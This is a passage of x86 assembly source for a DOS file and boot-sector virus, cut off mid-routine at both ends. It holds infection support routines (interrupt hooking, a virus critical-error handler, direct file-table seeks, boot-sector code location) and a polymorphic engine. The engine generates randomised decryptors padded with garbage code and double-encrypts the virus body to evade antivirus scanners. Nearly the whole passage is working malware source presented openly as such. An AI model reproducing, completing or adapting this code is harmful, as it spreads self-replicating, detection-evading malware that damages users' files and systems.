;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

get_rnd:
                push si
                push ds
                push cs
                pop ds
                mov ax,word ptr cs:[rnd_pointer][bp]
                mov si,ax
                sub ax,bp
                cmp ax,decryptor-04h
                jbe into_random_data
                mov si,bp

into_random_data:

                cld
                lodsw
                mov word ptr cs:[rnd_pointer][bp],si
                pop ds
                pop si
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Timer based random number generator                                       ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

random_number:
                push cx
                in ax,40h
                mov cl,al
                xor al,ah
                xor ah,cl
                xor ax,0FFFFh
                org $-02h
randomize:       
                dw 0000h
                mov word ptr cs:[randomize][bp],ax
                pop cx
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a 16bit random number                                            ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

rand_16:
                call get_rnd
                mov bl,al
                call get_rnd
                mov ah,bl
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a random number betwin 0 and ax                                  ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

rand_in_range:

                ;Returns a random num between 0 and entry ax
                push bx      
                push dx
                xchg ax,bx
                call get_rnd
                xor dx,dx
                div bx

                ;Remainder in dx
                xchg ax,dx  
                pop dx
                pop bx
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Return the al vector in es:bx                                             ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

get_int:
                push ax
                xor ah,ah
                rol ax,1
                rol ax,1
                xchg bx,ax
                xor ax,ax
                mov es,ax
                les bx,dword ptr es:[bx+00h]
                pop ax
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Set al interrupt vector to ds:dx pointer                                  ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

set_int:
                push ax
                push bx
                push ds
                cli
                xor ah,ah
                rol ax,1
                rol ax,1
                xchg ax,bx
                push ds
                xor ax,ax
                mov ds,ax
                mov word ptr ds:[bx+00h],dx
                pop word ptr ds:[bx+02h]
                sti
                pop ds
                pop bx
                pop ax
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get sft address in es:di                                                  ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

get_sft:
                ;File handle in bx
                push bx

                ;Get job file table entry to es:di
                mov ax,1220h
                int 2Fh
                jc error_sft

                ;Exit if handle not opened
                xor bx,bx
                mov bl,byte ptr es:[di+00h]
                cmp bl,0FFh
                je error_sft

                ;Get address of sft entry number bx to es:di
                mov ax,1216h
                int 2Fh
                jc error_sft
                pop bx
                clc
                ret
        
error_sft:
                ;Exit with error
                pop bx
                stc
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Seek to end of file                                                       ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

seek_end:
                call get_sft
                mov ax,word ptr es:[di+11h]
                mov dx,word ptr es:[di+13h]
                mov word ptr es:[di+17h],dx
                mov word ptr es:[di+15h],ax
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Seek to begin                                                             ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

seek_begin:
                call get_sft
                xor ax,ax
                mov word ptr es:[di+17h],ax
                mov word ptr es:[di+15h],ax
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus critical error interrupt handler ( int 24h )                        ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

my_int24h:
                sti
                ;Return error in function
                mov al,03h
                iret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Save all registers in the stack                                           ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

push_all:
                cli
                pop word ptr cs:[ret_off]
                pushf
                push ax
                push bx
                push cx
                push dx
                push bp
                push si
                push di
                push es
                push ds
                push word ptr cs:[ret_off]
                sti
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Restore all registers from the stack                                      ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

pop_all:
                cli
                pop word ptr cs:[ret_off]
                pop ds
                pop es
                pop di
                pop si
                pop bp
                pop dx
                pop cx
                pop bx
                pop ax
                popf
                push word ptr cs:[ret_off]
                sti
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Unhook int 24h and clear dos infection switch                             ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

unhook_ints:
                push ds
                push dx
                push ax

                ;Clear dos running switch
                mov byte ptr cs:[running_sw],00h

                ;Restore int 24h
                lds dx,dword ptr cs:[old24h]
                mov al,24h
                call set_int

                pop ax
                pop dx
                pop ds
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Perform a call to dos function                                            ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

dos_call:
                pushf
                call dword ptr cs:[org21h]
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get position of code inserted into boot sector                            ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

get_position:
                push cx

                ;Point di to offset in buffer
                mov di,bx

                ;Get displacement
                mov cx,word ptr es:[bx+01h]
                mov al,byte ptr es:[bx]

                ;Check for short jump
                cmp al,0EBh
                jne check_jump

                ;Store 8bit displacement
                xor ch,ch
                jmp short add_offset        
check_jump:        
                ;Check for near jump
                cmp al,0E9h
                jne no_displacement
add_offset:
                inc cx
                inc cx
                add di,cx
no_displacement:
                pop cx
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Make a copy of file header                                                ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

copy_header:
                ;Copy header to buffer
                push si
                push di
                push cx
                push cs
                pop es
                mov si,offset file_buffer
                mov di,offset old_header
                mov cx,file_header_size
                cld
                rep movsb
                pop cx
                pop di
                pop si
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Decrypt header                                                            ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

decrypt_header:

                mov cx,file_header_size
                push dx
                pop si
                mov al,byte ptr cs:[si+file_header_size]
restore_header:
                sub byte ptr cs:[si+00h],al
                inc si
                loop restore_header
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Print string while producing some beeps                                   ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

loop_beep_string:

                ;Get character
                lodsb
                or al,al
                jnz print_that_char
                ret

print_that_char:
                ;Print character        
                mov ah,09h
                mov bx,0002h
                mov cx,0001h
                push si
                int 10h

                ;Produce a click
                call generate_beep

                ;Move cursor to next position
                mov ah,03h
                xor bh,bh
                int 10h
                inc dl
                mov ah,02h
                int 10h
                pop si
                jmp loop_beep_string

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a speaker beep                                                   ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

generate_beep:        

                mov cx,0008h
loop_click:
                push cx

                ;Get attention of the 8253
                mov al,0B6h
                out 043h,al

                ;Sent frequency
                xor ax,ax
                dec ax
                out 042h,al
                mov al,ah
                out  042h,al

                ;Send signal to speaker
                in al,61h
                or al,03h
                out 061h,al

                ;Sound duration
                mov cx,0FFFFh
wait_cycle:
                loop wait_cycle

                ;Clear signal
                in al,061h
                and al,0FCh
                out 061h,al
                pop cx
                loop loop_click
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Polymorphic engine                                                        ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

do_encrypt:
                push ax
                push bx
                push cx
                push dx
                push si
                push di
                push ds
                push es

                ;Reset pointer to random data
                mov word ptr cs:[rnd_pointer][bp],bp

try_new_generation:

                ;Initialize engine
                xor ax,ax
                lea di,word ptr [poly_data][bp]

                ;Clear last_subrotine
                mov word ptr cs:[di+04h],ax

                ;Clear decrypt_sub
                mov word ptr cs:[di+06h],ax

                ;Clear last_fill_type
                mov word ptr cs:[di],ax
                dec ax

                ;Clear last_step_type
                mov word ptr cs:[di+02h],ax

                ;Clear last_int_type
                mov byte ptr cs:[di+0Ah],al

                ;Clear decrypt_pointer
                mov byte ptr cs:[di+0Bh],al

                ;Get base address for memory operations
                mov ax,offset virus_copy
                add ax,word ptr cs:[file_delta][bp]
                mov word ptr cs:[di+12h],ax

                ;Choose counter and pointer register
                call get_rnd
                and al,01h
                mov byte ptr cs:[di+0Ch],al
get_si_di_off:        
                ;Choose displacement from / to encrypted code
                call get_rnd
                or al,al
                jz get_si_di_off
                mov byte ptr cs:[di+14h],al

                ;Choose type of decrypt sequence
                call get_rnd
                and al,01h
                mov byte ptr cs:[di+15h],al

get_decrypt_reg:        

                ;Choose register for decryption instructions
                call get_rnd
                and al,38h

                ;Do not use bl or bh into .sys decryptors
                cmp word ptr cs:[exit_address][bp],offset exit_com - \
                                                   offset host_ret
                je ok_decrypt_reg

                ;Check if it is bl
                cmp al,18h
                je get_decrypt_reg

                ;Check if it is bh
                cmp al,38h
                je get_decrypt_reg

ok_decrypt_reg:

                mov byte ptr cs:[di+0Dh],al

                ;Choose segment registers for memory operations
                call get_seg_reg
                mov byte ptr cs:[di+0Eh],al
                call get_seg_reg
                mov byte ptr cs:[di+0Fh],al
get_rnd_key:

                ;Get random crypt value
                call get_rnd
                or al,al
                jz get_rnd_key
                xchg bx,ax
                mov byte ptr cs:[clave_crypt][bp],bl

                ;Fill our buffer with garbage
                push cs
                pop ds
                mov es,word ptr cs:[poly_working_seg][bp]
                mov di,word ptr cs:[poly_working_off][bp]
                push di
                mov cx,decryptor
                cld
fill_rnd_2:
                call get_rnd
                stosb
                loop fill_rnd_2
                pop di
                ;Now es:di points to the buffer were engine put polymorphic code
choose_type:       
                ;Select the type of filler
                mov ax,(end_step_table-step_table)/02h
                call rand_in_range

                ;Avoid same types in a row
                cmp ax,word ptr cs:[last_step_type][bp]
                je choose_type
                mov word ptr cs:[last_step_type][bp],ax

                ;Get displacement into subroutine table
                add ax,ax
                add ax,bp
                mov bx,ax

                ;Get subroutine address
                mov ax,word ptr cs:[step_table+bx]

                ;Add delta offset
                add ax,bp

                ;Save return address
                lea bx,word ptr [step_return][bp]
                push bx

                ;Save subroutine address
                push ax

                ;This is for later operations
                cld
                ret
step_return:
                ;Check decryptor size
                mov ax,di
                sub ax,word ptr cs:[poly_working_off][bp]
                cmp ax,decryptor
                jb check_decryptor_ready
                jmp try_new_generation

check_decryptor_ready:

                ;Check if decrytor already build
                cmp byte ptr cs:[decrypt_pointer][bp],04h
                jne choose_type

                ;Generate some garbage
                call g_generator

                ;Generate a jump to virus body
                mov al,0E9h
                stosb
                mov ax,decryptor
                mov cx,word ptr cs:[poly_working_off][bp]
                dec cx
                dec cx
                mov bx,di
                sub bx,cx
                sub ax,bx
                stosw

                ;Copy virus body to the working area
                lea si,word ptr [virus_body][bp]
                mov di,word ptr cs:[poly_working_off][bp]
                add di,decryptor
                push di
                mov cx,inf_byte_size-decryptor
                cld
                rep movsb

                ;Generate second encryption layer
                mov ax,word ptr cs:[poly_working_off][bp]
                mov bl,byte ptr cs:[clave_crypt][bp]
                push bx
                add ax,second_size
                push es
                pop ds
                mov si,ax
                mov di,ax
                mov cx,inf_byte_size-(second_size+01h)

generate_second:

                lodsb
                add al,bl
                stosb
                inc bl
                loop generate_second

                ;Generate polymorphic encryption
                pop bx
                pop di
                mov si,di
                mov cx,inf_byte_size-(decryptor+file_header_size+01h)

                ;Clear prefetch
                db 0EBh,00h        
load_crypt:
                lodsb
encrypt_here:
                ;Encrypt instruction ( add/sub/xor al,bl )
                db 00h,0C3h
                stosb
                loop load_crypt

                ;Restore all regs and return to infection routine       
                pop es
                pop ds
                pop di
                pop si
                pop dx
                pop cx
                pop bx
                pop ax
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get a valid opcode for memory operations                                  ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

get_seg_reg:
                cmp word ptr cs:[exit_address][bp],offset exit_com - \
                                                   offset host_ret
                je use_ds_es

                ;Use just cs on .sys .exe files and floppy boot and hd mbr
                mov al,2Eh
                ret
use_ds_es:        
                ;Use also ds es in .com files
                call get_rnd
                and al,18h
                cmp al,10h
                je get_seg_reg
                or al,26h
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate next decryptor instruction                                       ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

next_decryptor:
                ;Next instruction counter
                inc byte ptr cs:[decrypt_pointer][bp]

                ;Check for subroutines witch contains next decryptor instruction
                cmp word ptr cs:[decrypt_sub][bp],0000h
                je build_now

                ;If so build a call instruction to that subroutine
                call do_call_decryptor
                ret
build_now:
                ;Else get next instruction to build
                mov bl,byte ptr cs:[decrypt_pointer][bp]

                ;Generate decryption instructions just into subroutines
                cmp bl,02h
                jne entry_from_sub

                ;No instruction was created so restore old pointer
                dec byte ptr cs:[decrypt_pointer][bp]
                ret
entry_from_sub:
                ;Entry point if calling from decryptor subroutine building
                xor bh,bh
                add bx,bx
                add bx,bp

                ;Build instruction
                mov ax,word ptr cs:[instruction_table+bx]
                add ax,bp

                ;Save subroutine address
                push ax
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Load counter register                                                     ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

inst_load_counter:

                mov al,0BEh
                add al,byte ptr cs:[address_register][bp]
                stosb

                ;Store size of encrypted data
                mov ax,inf_byte_size-(decryptor+file_header_size+01h)
                stosw
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Load pointer to encrypted data                                            ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

inst_load_pointer:
                ;Generate garbage
                call g_generator

                ;Pointer reg determination
                mov al,0BFh
                sub al,byte ptr cs:[address_register][bp]
                stosb

                ;Store offset position of encrypted data
                mov bx,offset virus_body

                ;Add delta offset
                add bx,word ptr cs:[file_delta][bp]

                ;Include displacement
                mov al,byte ptr cs:[displ_si_di][bp]
                cbw
                add ax,bx
                stosw

                ;Generate garbage
                call g_generator
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Decrypt one byte from encrypted data area                                 ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

inst_decrypt_one:

                ;Check type of decrypt sequence
                cmp byte ptr cs:[decrypt_seq],00h
                jne decrypt_with_reg

                ;Decode add/sub/xor byte ptr seg:[si/di+displ],key
                mov ah,80h
                mov al,byte ptr cs:[address_seg_1][bp]
                stosw

                ;Store operation
                mov ax,(end_fast_table-fast_table)/02h
                call rand_in_range

                ;Get displacement into subroutine table
                add ax,ax
                add ax,bp
                mov bx,ax

                ;Get opcode
                mov ax,word ptr cs:[fast_table+bx]
                mov byte ptr cs:[encrypt_here][bp],ah
                xor al,byte ptr cs:[address_register][bp]
                stosb
                mov al,byte ptr cs:[displ_si_di][bp]
                neg al
                mov ah,byte ptr cs:[clave_crypt][bp]
                stosw
                ret

decrypt_with_reg:

                ;Decode a mov reg,byte ptr seg:[key]
                mov al,byte ptr cs:[address_seg_1][bp]
                mov ah,8Ah
                stosw
                mov al,byte ptr cs:[decrypt_register][bp]
                or al,06h
                stosb

                ;Store position of encryption key
                mov ax,offset clave_crypt

                ;Add delta offset
                add ax,word ptr cs:[file_delta][bp]
                stosw

                ;Decode a xor/add/sub byte ptr seg:[si/di+displ],reg
                mov ax,(end_decrypt_table-decrypt_table)/02h
                call rand_in_range

                ;Get displacement into subroutine table
                add ax,ax
                add ax,bp
                mov bx,ax

                ;Get opcode
                mov ax,word ptr cs:[decrypt_table+bx]

                ;Write encrypt instruction
                mov byte ptr cs:[encrypt_here][bp],al
                mov al,byte ptr cs:[address_seg_2][bp]
                stosw
                mov al,byte ptr cs:[decrypt_register][bp]
                or al,45h
                xor al,byte ptr cs:[address_register][bp]
                mov ah,byte ptr cs:[displ_si_di][bp]
                neg ah
                stosw
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Increment pointer to encrypted zone                                       ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

inst_inc_pointer:

                mov al,47h
                sub al,byte ptr cs:[address_register][bp]
                stosb
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Decrement counter and loop                                                ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

inst_dec_loop:

                ;Decode a dec reg instruction
                mov al,4Eh
                add al,byte ptr cs:[address_register][bp]
                stosb

                ;Decode a jz 
                mov al,74h
                stosb
                push di
                inc di

